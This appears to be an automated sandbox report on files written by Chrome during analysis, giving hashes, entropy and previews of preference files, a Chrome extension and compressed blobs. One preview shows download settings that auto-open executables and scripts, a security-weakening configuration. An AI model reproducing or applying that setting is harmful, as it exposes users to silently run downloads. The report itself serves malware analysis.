Reputation: low

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13304666556386521","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.375

Encrypted: false

SSDEEP: 3:1sjgWIV/9Xvn:1qIH/

MD5: 6671DB8C02F3C234BC5B756619A0ED77

SHA1: FF451A14CDD61DF48CCE4448F118377AF77DA143

SHA-256: F7858098C26EF2A143B0E7CAFBC03040C3C1C3185F446517108A7BDD2A6D9C4D

SHA-512: 1C6182196EC6086D5316C741F974E6EC4EFCEDC3EB835ADE8DF2762D2FF245F055C05ED95E06FEA3E04FE3A08E9582846CF2588C31FD69FC4978440039604BA1

Malicious: false

Reputation: low

Preview: MANIFEST-000022.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.375

Encrypted: false

SSDEEP: 3:1sjgWIV/9Xvn:1qIH/

MD5: 6671DB8C02F3C234BC5B756619A0ED77

SHA1: FF451A14CDD61DF48CCE4448F118377AF77DA143

SHA-256: F7858098C26EF2A143B0E7CAFBC03040C3C1C3185F446517108A7BDD2A6D9C4D

SHA-512: 1C6182196EC6086D5316C741F974E6EC4EFCEDC3EB835ADE8DF2762D2FF245F055C05ED95E06FEA3E04FE3A08E9582846CF2588C31FD69FC4978440039604BA1

Malicious: false

Reputation: low

Preview: MANIFEST-000022.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cca83444-a3c6-40dd-9f5c-1e8f439fa8a8.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000022.dbtmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\eaf1358a-d8f7-40ce-8404-ee5fba5710ec.tmp
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Category: dropped

Size (bytes): 10559

Entropy (8bit): 5.056837181533727

Encrypted: false

SSDEEP: 192:uxTncGCODHciX0IuujSekVucISisUs3ejS6rp+a6psL6l68e0ZMziK1fnJJaL688:ATncGCO7ciX0IuujSdVucISisUs3ejSi

MD5: 6A3B5E82D646672A95E4D9AC0823B63A

SHA1: 724942D1102FBDB9AFA5EF1FCF27340ABF70F1F4

SHA-256: 7A1283D17A4F2112E2B0A5ABE5B92EDB14E9239D516296D86DA964F0A2237BB8

SHA-512: E42FEAF6E3030EE3AA5483BC467747395ED3AB2381AAB5B19C1E1E6A17009CD86E175C1665511AA728CE732D012E490EB4A27DEC54FFBFA12F1BD0698CEF61
CF

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"broken_alternative_services":[{"broken_count":12,"broken_until":"1660193282","host":"dnstranfer.com","isolation":["GAAAABIAAA
BodHRwczovL21oeHlkcy5jb20AAA==","HAAAABYAAABodHRwczovL2Ruc3RyYW5mZXIuY29tAAA="],"port":443,"protocol_str":"quic"}],"servers":[{"isolation":[],"server"
:"https://www.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://www.google.com","supports_spdy":true},{"isolation":[],"server":"https://chrome.cloudflare-
dns.com","supports_spdy":true},{"isolation":[],"server":"https://play.google.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true
},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://ogs.google.com","supports_spdy":true},{"isolation":[],"server":"https:/
/dns.quad9.net","supports_spdy":true},{"isolation":[],"server":"https://update.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://apis.goog

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 106

Entropy (8bit): 3.138546519832722

Encrypted: false

SSDEEP: 3:tbloIlrJ5ldQxl7aXVdJiG6R0RlAl:tbdlrnQxZaHIGi0R6l

MD5: DE9EF0C5BCC012A3A1131988DEE272D8

SHA1: FA9CCBDC969AC9E1474FCE773234B28D50951CD8

SHA-256: 3615498FBEF408A96BF30E01C318DAC2D5451B054998119080E7FAAC5995F590

SHA-512: CEA946EBEADFE6BE65E33EDFF6C68953A84EC2E2410884E12F406CAC1E6C8A0793180433A7EF7CE097B24EA78A1FDBB4E3B3D9CDF1A827AB6FF5605DA3691
724

Malicious: false

Reputation: low

Preview: C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 12

Entropy (8bit): 2.4591479170272446

Encrypted: false

SSDEEP: 3:gTG:gTG

MD5: 7C5BA0DCCB252B6128C9E357DEC544D0

SHA1: 0A2B380D36DF67C87EFDC04123EA721AEC274868

SHA-256: 11BBB50F483583EB297338EE4B130E59A233395BCE7BCB1FD8D0C592F6BF1C25

SHA-512: 6B956C35E5832130AD211E44D7316EA980258C5DA2A16003F0BAE6F957439CCD2DDC5AF652A3615FD686B7E465680872DD70028202DB574BE91A50BAEF0CA7E
A

Malicious: false

Reputation: low

Preview: 94.0.4606.61

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 142364

Entropy (8bit): 6.063524017057327

Encrypted: false

SSDEEP: 3072:yiZP6g9S7a4yAvdEP4c1bwI28KFb70xHPvW:pR96a4y4Ez2z7sW

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Browser

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Version

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State (copy)
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MD5: E6AD29BA821E5C388036D5EFAD0BBC91

SHA1: 2AB34C070C276B97C3D0E16F36787BED975DDC16

SHA-256: 30714F270B64BE9FE4C0791A8F33D106E464470C14A7CAAAB6042D04DFEACE97

SHA-512: C40F18FE0E5D234D2B353ED7363642AF626183C826A63EE9BCB56B2E80073F8D736AFF2BA9F72AECAA48ABBED5A21005F8D38739E431D2F71CB7DD2F2960620
5

Malicious: false

Reputation: low

Preview: {"autofill":{"states_data_dir":"C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\AutofillStates\\2020.11.2.164946"},"browser":{"last_redirect_origin":"","short
cut_migration_version":"92.0.4515.159"},"chrome_cleaner":{"scan_completion_time":"13276779605137578"},"data_use_measurement":{"data_used":{"services":
{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"n
ame":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.660192956908004e+12,"network":1.660189356e+12,"ticks":5544380931.0,"uncertainty":1387
778.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAb7qWBj3YRSZSg2yN3JOzDAAAAAAIAAAAAABBmAAAAAQAAIAAAAIi9I
kqThTzoDjz/SbzVMN6ojv2e+IWxi1hNPZekZpvHAAAAAA6AAAAAAgAAIAAAAAUAxx69p6cLu26Q2Hr4RmGMSdZydqsFEbXDuU/DQjNBMAAAAIjUciIMZJVdh
TeHew42TuNasyfPQ/tWU5NsLVjboe0zHjtdzkC5ew1pmiCHlSxe20AAAADHMdJi6EMHqPhkdh83Av+0ljq5qSldx4HBU10VdDS

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 96256

Entropy (8bit): 3.7625086781403367

Encrypted: false

SSDEEP: 384:/fULnp30q53vnX3u5DOaHhcup37jazEF00iaR9Dda7buaruEoY7B3Tz64GALyX1U:akZYaZcl0dJWznPYJhW+dKmcxZ

MD5: 596A20D1801C10AB0E5A89E458643DDC

SHA1: ED29C721F24AE2815EC6A2C71FE1757E8B06BE5C

SHA-256: 06EC644796A9F99B99799F72D9E7564DD12C7BA471F1D5258D11BCB17C551185

SHA-512: 807D664058A243C2DCF34E76EA8DC9DAE229C7A9864BB985B82E50D92513E12346FB30DE68B1B2AD22BB2A6E2B775A29251B1A452F960A2A6CD550EC956D30
BE

Malicious: false

Reputation: low

Preview: .w..............T...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e.\.2.1...0.3.0...0.2.1.1...0.0.0.2.\.a.m.d.6.4.\.F.i.l.e.S.y.n.c.S.h.e.l.l.6.4...d.l.l..0.....:A...
c.:.\.p.r.o.g.r.a.m. .f.i.l.e.s. .(.x.8.6.).\.m.i.c.r.o.s.o.f.t. .o.n.e.d.r.i.v.e.\.2.1...0.3.0...0.2.1.1...0.0.0.2.\.a.m.d.6.4.\.......f.i.l.e.s.y.n.c.s.h.e.l.l.6.4...d.l.l.......M.i.c.r.o.s.o.f.t. .
O.n.e.D.r.i.v.e."...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n.....2.1...0.3.0...0.2.1.1...0.0.0.2.....T...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t. .O.
n.e.D.r.i.v.e.\.2.1...0.3.0...0.2.1.1...0.0.0.2.\.a.m.d.6.4.\.F.i.l.e.S.y.n.c.S.h.e.l.l.6.4...d.l.l.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...|d8.....C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.
n. .F.i.l.e.s.\.S.y.s.t.e.m.\.w.a.b.3.2...d.l.l.....w1PX....%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.s.y.s.t.e.m.\.....w.a.b.3.2...d.l.l...$...M.i.c.r.o.s.o.f.t... .W.i.n.d.o.w.s... .O.p.e.
r.a.t.i.n.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 96256

Entropy (8bit): 3.7625086781403367

Encrypted: false

SSDEEP: 384:/fULnp30q53vnX3u5DOaHhcup37jazEF00iaR9Dda7buaruEoY7B3Tz64GALyX1U:akZYaZcl0dJWznPYJhW+dKmcxZ

MD5: 596A20D1801C10AB0E5A89E458643DDC

SHA1: ED29C721F24AE2815EC6A2C71FE1757E8B06BE5C

SHA-256: 06EC644796A9F99B99799F72D9E7564DD12C7BA471F1D5258D11BCB17C551185

SHA-512: 807D664058A243C2DCF34E76EA8DC9DAE229C7A9864BB985B82E50D92513E12346FB30DE68B1B2AD22BB2A6E2B775A29251B1A452F960A2A6CD550EC956D30
BE

Malicious: false

Reputation: low

Preview: .w..............T...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e.\.2.1...0.3.0...0.2.1.1...0.0.0.2.\.a.m.d.6.4.\.F.i.l.e.S.y.n.c.S.h.e.l.l.6.4...d.l.l..0.....:A...
c.:.\.p.r.o.g.r.a.m. .f.i.l.e.s. .(.x.8.6.).\.m.i.c.r.o.s.o.f.t. .o.n.e.d.r.i.v.e.\.2.1...0.3.0...0.2.1.1...0.0.0.2.\.a.m.d.6.4.\.......f.i.l.e.s.y.n.c.s.h.e.l.l.6.4...d.l.l.......M.i.c.r.o.s.o.f.t. .
O.n.e.D.r.i.v.e."...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n.....2.1...0.3.0...0.2.1.1...0.0.0.2.....T...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t. .O.
n.e.D.r.i.v.e.\.2.1...0.3.0...0.2.1.1...0.0.0.2.\.a.m.d.6.4.\.F.i.l.e.S.y.n.c.S.h.e.l.l.6.4...d.l.l.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...|d8.....C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.
n. .F.i.l.e.s.\.S.y.s.t.e.m.\.w.a.b.3.2...d.l.l.....w1PX....%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.s.y.s.t.e.m.\.....w.a.b.3.2...d.l.l...$...M.i.c.r.o.s.o.f.t... .W.i.n.d.o.w.s... .O.p.e.
r.a.t.i.n.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 95520

Entropy (8bit): 3.762070025421096

C:\Users\user\AppData\Local\Google\Chrome\User Data\Module Info Cache (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\c7c9cc65-4903-4b68-959f-0da378ad1da8.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\ec69f745-ab4c-4bf0-8937-37e1817c95b2.tmp
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Encrypted: false

SSDEEP: 384:afULnp30q53vnX3u5DOaHhcup37jazEF00iaR9Dda7buaruEoY7B3Tz64GKyX1XZ:RkZYa/cl0dJWznPYJhW+dKmcxQ

MD5: 7F473705B68DC61E1EB09154156CA9EA

SHA1: E98C6FFF267DFEAA216A3AEECF84F87D127D148D

SHA-256: 04A6F3DF34ABB3E6158F3B182A4D38880281C94CB280D9EAF9B29D1A62603B1D

SHA-512: 4A21437CB7153C1BDD456DE7B881D0B044865B91C73B2746C7F68CF9083D89A281B3ADF942508B70817464DFBD6DE8972C848B49AD4CC75A2EA74367DE6BAA3
2

Malicious: false

Reputation: low

Preview: .u..............T...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e.\.2.1...0.3.0...0.2.1.1...0.0.0.2.\.a.m.d.6.4.\.F.i.l.e.S.y.n.c.S.h.e.l.l.6.4...d.l.l..0.....:A...
c.:.\.p.r.o.g.r.a.m. .f.i.l.e.s. .(.x.8.6.).\.m.i.c.r.o.s.o.f.t. .o.n.e.d.r.i.v.e.\.2.1...0.3.0...0.2.1.1...0.0.0.2.\.a.m.d.6.4.\.......f.i.l.e.s.y.n.c.s.h.e.l.l.6.4...d.l.l.......M.i.c.r.o.s.o.f.t. .
O.n.e.D.r.i.v.e."...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n.....2.1...0.3.0...0.2.1.1...0.0.0.2.....T...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t. .O.
n.e.D.r.i.v.e.\.2.1...0.3.0...0.2.1.1...0.0.0.2.\.a.m.d.6.4.\.F.i.l.e.S.y.n.c.S.h.e.l.l.6.4...d.l.l.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...|d8.....C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.
n. .F.i.l.e.s.\.S.y.s.t.e.m.\.w.a.b.3.2...d.l.l.....w1PX....%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.s.y.s.t.e.m.\.....w.a.b.3.2...d.l.l...$...M.i.c.r.o.s.o.f.t... .W.i.n.d.o.w.s... .O.p.e.
r.a.t.i.n.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: Google Chrome extension, version 3

Category: dropped

Size (bytes): 248531

Entropy (8bit): 7.963657412635355

Encrypted: false

SSDEEP: 3072:r+nmRykNgoldZ8GjJCiUXZSk+QSVh85PxEalRVHmcld9R6yYfEp4ABUGDcaKklrv:k3oF4Z4h45P99Fld9RBQYBVcaxlnfL

MD5: 541F52E24FE1EF9F8E12377A6CCAE0C0

SHA1: 189898BB2DCAE7D5A6057BC2D98B8B450AFAEBB6

SHA-256: 81E3A4D43A73699E1B7781723F56B8717175C536685C5450122B30789464AD82

SHA-512: D779D78A15C5EFCA51EBD6B96A7CCB6D718741BDF7D9A37F53B2EB4B98AA1A78BC4CFA57D6E763AAB97276C8F9088940AC0476690D4D46023FF4BF52F3326C
88

Malicious: false

Reputation: low

Preview: Cr24..............0.."0...*.H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.|
1..n.<Fb..f..*Q1.....s..2..{*.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-*eu...b.........\..F!...b...l5....zJ.q.......L].....w[T0.6....E.....r..%Z.vFm.9..5!,.~g5...;.t...']....+A.....u..
..k...e..&..l.6r[yU...%..f.......N..V.....<+.....l..}.{...z...)y.n..'..).....,.b....5.08K%..O.g..D.S.F5o..<(....>....\f..X..I..2."l...w....7f|.~.c.4.E.......0..0...*.H............0.......).'..b.*$w\$.q&.]zF_2..
;...?.U,...W..L1.2...R..#....W.....c1k.$W..$.J....+M!.Hz.n`U.I)N.|b.l....{.K@]6.LlP/....](.A..................I...).H....IQ.y.;MG.d..ix..#f.Z$|..|.?...0K...t"i..s...Y..%.Ky....0...{.!+.~v.;....J.....Z
....).(6..@?v.;~..2..c....[0Y0...*.H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. .0...|!..A..L.+.=...kP.!.1..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)

Category: dropped

Size (bytes): 101891

Entropy (8bit): 7.9971613680976565

Encrypted: true

SSDEEP: 3072:Xs4McBbhITdJs7qJdKpJcKdNd+HyEzEcl6dr:X7Bb4dJsOPKpJrv4tTl6dr

MD5: 173CA02E5B06065771DEB2F28E4E5A9E

SHA1: 20F1774FB280C94C13082A255C27D7A786EFD5C7

SHA-256: 634557AE2916F2FAA0CBF2557F8F96E26845ABE94D2784FD73B169EC5618B186

SHA-512: D947E3ED56BE1F3C668943E8F066F39650D2E0D76BF64BAD167E100B8B1066B88D8E851346AFBD9777E90445F41C5108A0A2F1514A3F28F02D4EC39978121E71

Malicious: false

Reputation: low

Preview: ............{..0......&xqH.....zyIBv9....=...+......I6....3#.l.@..9.s].W7...h4..H...7.^.........Bg.....`.;.S...P.............z.3.........9~.P..{..-.z........b.:......>..'....I8.......'v.M'E.?bA...N8.'.8I.._...<
v&.pT{.L'Ne...#.S!].T.-+...r)5.j.U.8q....X..VPo.....F.o..A.~~.?.w......eNJ..a)....i....:?._^..v.<=ei...i.......Q...8k......~j.c.W......~...Q.yq..^9..z.......S..b.E..L3|.9S.pa...a....5...J.\.
2l..s..4.....S.u..o.|.Q.K.0.=........0....xj.4....Mie..C..3..... ..........WN........4Vs.B..N.bD...VK%...mb...{{....pd..7..G.....}.J;"..4,.......A.R|0d..)..M......;;.8.h.C.u..pkM..Z@.......r..U....H..
.],..l:~p..8`....3....5.*.t../S{.{`.^kB=f......ZR..L.$t..D%I..xB../.{rb..h8.!.........Z.0........{PuK%Vv...RR.*.......j.vw.[B..$..|&..eZEW.Z[&..d>.o......@..t.z.O.12C......Kk..oS.[.0.M...<.z
q#*g.r......"0+.[.....Tb.E....F...U..U0...G.........t!.+...&K.@.N.#R.]...+.;.M[..x,...J.l........&y.n.....j>..0.|W.+.S.0X.S.E..L....R.....W.u.g.S.&^.g..N/..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)

Category: dropped

Size (bytes): 28748

Entropy (8bit): 7.9918576871001425

C:\Users\user\AppData\Local\Temp\462f2cf1-f88b-4b6a-a1ce-2252d1dfe89c.tmp

C:\Users\user\AppData\Local\Temp\587d3c8b-c911-498a-8133-8428a3317a4a.tmp

C:\Users\user\AppData\Local\Temp\7eea2f47-602a-4750-81a2-5dd8cf16ed32.tmp
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Encrypted: true

SSDEEP: 384:SU7ZPeF1W3JgUrqaO/8dOcbwy59NjS5BMYGYycIfPhrVx2NtsEeSeFzVXe/rxd:H7peFkZL9RZSz3gnhhGcpXetd

MD5: 2A37AD0EC191D53104BB46953AC6C43C

SHA1: FD23FFC5B7E4A6B45FBD88A486D15FAA51DC07AE

SHA-256: 51F075EB69486CB23B32A0776782B4A1B2AF204429AB94510469E02B115E56CC

SHA-512: AEB91CB7902A800D7B0C43627EC2B52121BC41BA29A1B6ABEDBFCFA4802254A0594ED239EA7A3F8D40241E43D436428D1E4AC117BD97269D78460F82F9BDCF
68

Malicious: false

Reputation: low

Preview: ...........Zms.6..._..p..[.(.b[...M....N{..t ...S.......v...H.q.g:....]...p..6I8_d...C.\p.X$.2.p.g.8I}8.".D)$<..O...}.J9.3..a.i.'...x.....5O...x......I.M.!.'\.l.2.0.cN.fq....\......7..,......>.p...w&.
KS.......(O.V>......O.r..V~J.`....U(..Y..MIy..w..g0e......D.,L..y..N.+..._....O.h.]...V....r................O.|.:....Li..>COy......N.h.......R....Q%.,Xr.y...G8=.A....!8(..L....c....sA....t.Vl:...v...G
;...^.l...#.t.>...k..d..kr...B......Pb.0*..!..;9.....:~....j;....j.*O..!B......?....^.]....;...[.g.B...%..'.7;.9.>..gP. p8...:.5l.Y.....Jp..R,.?..b..8O......h.X(..G.).Cz.C..%....x.ET.....AEi.../..0.. ....k.*t..
.wl..e...H.i.F.....?.....z...?..........(../.O..R.?.4..7...j ..Q.....l..ob!..A..j...@..!).....K...MW.U.N.......W..Bh'8.'.y....Y.[o...PI..W.*...i...r.e..=.k^.WC..Uy.j..687^.z.#u5.4O...........-j.j3..L.
1..F...8.......@l.9.c.aGC.R.&..j.Q-av?...[4.E..T8....u..+9.<.n.Qw.D..N..S..3.D...... .%C.j.7.Y.s(.0wq.ZI.#''#..[K.GJ ....4.....?

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)

Category: dropped

Size (bytes): 5230

Entropy (8bit): 7.956809191116994

Encrypted: false

SSDEEP: 96:q7SON6YhNfYsJNsTEdiFxfpBWKW9BKxaMYv1SGEW4Ac:E64NfnJNsuqjBC9yBl

MD5: E3EA5BDEB91DF8D4511FD4D482CCA124

SHA1: A7B222825618A1561B6D6CFEDE45A3C8142ED3E5

SHA-256: 3434F6B264E88E7A88D58E0D78AC446CB8625A4BADBF53E529B4BB4E46742824

SHA-512: 43FCA0E241E31F5399B4C15A036EA701F01713F761DAE0AA0F2F4977A56C461319D15070EC318CAA6236EC6522B36160A19B9643BC7A34C56ACFF90DA7992C6B

Malicious: false

Reputation: low

Preview: ...........[ks.8..._......G...lj...Zw...NM.N.h..9.I.I.......HJ.,...u.b..........c...c...6.l.\.*.n...[...hn........I.jU.....1.\+R.Hs.....D.I9U._o.{U.jJ..IJ....n.sE.l..Lkn.L.\+MiV..)..<W......\._..k\..7
.....6.sE~..*+n.^.<..E....+.H!xB..].......W....{E.sp.4.....^..e.o....'...DoW...3...........m..8x.....R.........y.M..e..8-..U....{..C<.....{q.....X<W7i./...9.,........9...v........zm.Uv.N..d.K..syu!>..
.....U...Z.....i.N.%.`..*...L.s....aLN...U;T.H..kr...yZ.wK..@.TSU7Ya,.h&geef.Y.ulv6[....C........C|.*..7..5.1..wlM*.6J.82#....uB...G.a6=.._..is{B..j..*..'....t...2K.Z..........j......WK9vj+.
w.zAm_N..{(......K.\H.....>../W.\k}.f."o.Z.........R.[.=k.....Rd.k..JoJ.......p.`.eInT.*..@v...;$v.......m...47....%.\..).-..C..3!jr[.7.9H.'...6.....(....fq...._...oM....&....?..Wr....h.=.WU
.?.O...z<c`GU..........,.q..>..I.2.."."..].YppD....".|=...z..:!.../.,.w..s|..).=.Ga.Q.l..lG27..+d..N.....,.#\?`xc.6sw.<.."rh.`.L.."...I.x^.....k..l.Z.....[.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)

Category: dropped

Size (bytes): 3110

Entropy (8bit): 7.933903341619943

Encrypted: false

SSDEEP: 96:0MWjN1CDThRYxENcEvyGF/8WAr6Fv9MFghzqSl:0MWjN1gRYavR8WjMFQzqSl

MD5: A83A2746B84F1CF573B02965B72ED592

SHA1: 85CC572D6F90029EB99AAFA56297D1BCA494313A

SHA-256: DF4B53C1C7C48E80753D4945E6EC7847084F51BF57F0ED9D341326C74651D6EC

SHA-512: C287F479EF572A06FF191C4E9A8A718507C97A2A45CB265D7DC65DD7922B80D36CE7660EC5D7EA9F3D1F1EF71C51C3E4F3D7973754F97A89B4F14D1B1FDE70D
E

Malicious: false

Reputation: low

Preview: ............ko.7......J...../..v....... ....zE.\+.T..f..%wW.$........p8/.....z..|a...}.#y.`.l..7Kr..T:'.UE,.&.i..Y............h...B.....gJ....%.\.?.f]1R..@3.jHA..eHi&.Q..`....g.__?'3^...@~X..a8.......
.....UN..%...&.F..K19".Y:.).L.L..WL..xxD>.P@ ...&'..j..)%.Q\..<!.3n.<#....;.gd2.LZ....x.m&.e.`&;.KX..."...<G....8.R.jsd....g.)..?.$=UVT...#.+g.!.......R..1..#D.k...3.Bj3iT.....*.M.
.L....}..S.K.....zi..n.A{......n..o.0j..q...w...3.7.N..].>...zK..sr1#.d..Tk..ckB...<....j.a.M1oe.9.jIQ.y+...6.....]....v.X.......q.....a>...2`.WV.v.'..~.3*.4.'8...hkT.H..9SOIF.%...;n.6.U....
i!...2v.9/.;.....R..8.(..L.b....aY2ps% ."...x.V..Y[.h.....^.........U.....p.'.&m.....6..%pWE....:..o.k...<.....5....j.I...*9...f..3.....-..0..D;......*S.td/...........^_.v.)y ..Uf..q>.v2...0....o....Y
%5;.5fn..{.......p_......B..V.......D.Y.l....q 3...sm.b..!..E....a. &.w.-.s..>..M_...`.0..k.!<SH...9$.....V.\A$..}..8....#`...,...3.W..k...\..xH.1).~.Y.L1.O...\.....k.....s..i+.....).0

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

C:\Users\user\AppData\Local\Temp\a6d0e17e-60e9-4995-b3e7-ce64d5833631.tmp

C:\Users\user\AppData\Local\Temp\b1ca2ea4-c89d-4f93-95cc-59b8c2cd49f7.tmp

C:\Users\user\AppData\Local\Temp\dd59916f-f1b1-48e8-8076-983fda0bf43f.tmp
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SSDEEP: 3:L:L

MD5: 5058F1AF8388633F609CADB75A75DC9D

SHA1: 3A52CE780950D4D969792A2559CD519D7EE8C727

SHA-256: CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8

SHA-512: 0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F2
5F21

Malicious: false

Reputation: low

Preview: .

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: Google Chrome extension, version 3

Category: dropped

Size (bytes): 248531

Entropy (8bit): 7.963657412635355

Encrypted: false

SSDEEP: 3072:r+nmRykNgoldZ8GjJCiUXZSk+QSVh85PxEalRVHmcld9R6yYfEp4ABUGDcaKklrv:k3oF4Z4h45P99Fld9RBQYBVcaxlnfL

MD5: 541F52E24FE1EF9F8E12377A6CCAE0C0

SHA1: 189898BB2DCAE7D5A6057BC2D98B8B450AFAEBB6

SHA-256: 81E3A4D43A73699E1B7781723F56B8717175C536685C5450122B30789464AD82

SHA-512: D779D78A15C5EFCA51EBD6B96A7CCB6D718741BDF7D9A37F53B2EB4B98AA1A78BC4CFA57D6E763AAB97276C8F9088940AC0476690D4D46023FF4BF52F3326C
88

Malicious: false

Reputation: low

Preview: Cr24..............0.."0...*.H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.|
1..n.<Fb..f..*Q1.....s..2..{*.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-*eu...b.........\..F!...b...l5....zJ.q.......L].....w[T0.6....E.....r..%Z.vFm.9..5!,.~g5...;.t...']....+A.....u..
..k...e..&..l.6r[yU...%..f.......N..V.....<+.....l..}.{...z...)y.n..'..).....,.b....5.08K%..O.g..D.S.F5o..<(....>....\f..X..I..2."l...w....7f|.~.c.4.E.......0..0...*.H............0.......).'..b.*$w\$.q&.]zF_2..
